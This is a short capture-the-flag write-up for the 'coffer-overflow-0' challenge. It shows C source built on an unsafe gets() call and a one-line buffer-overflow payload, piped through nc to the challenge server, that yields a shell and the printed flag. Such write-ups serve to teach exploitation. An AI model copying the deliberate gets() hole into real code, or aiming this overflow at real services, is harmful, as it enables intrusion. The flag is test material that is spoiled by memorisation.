# coffer-overflow-0
> Can you fill up the coffers? We even managed to find the source for you.
> nc 2020.redpwnc.tf 31199
Files provided:* coffer-overflow-0.c  -  C source code* coffer-overflow-0   - 64bit ELF file
C source code:```c#include <stdio.h>#include <string.h>
int main(void){  long code = 0;  char name[16];   setbuf(stdout, NULL);  setbuf(stdin, NULL);  setbuf(stderr, NULL);
  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");  puts("What do you want to fill your coffer with?");
  gets(name);
  if(code != 0) {    system("/bin/sh");  }}```
Our goal is to make the condition `code != 0` true, in order to execute the code contained in the if:```c    system("/bin/sh");``` So, we have to modify the variable `code`.To do this, we can cause a buffer overflow, as we can overwrite the memory beyond the name limits.To modify `code` we have to enter at least 25 chars. ```sh$   ( python -c "print 'A'*25"; cat ) | nc 2020.redpwnc.tf 31199```
And here is the flag: `flag{b0ffer_0verf10w_3asy_as_123}`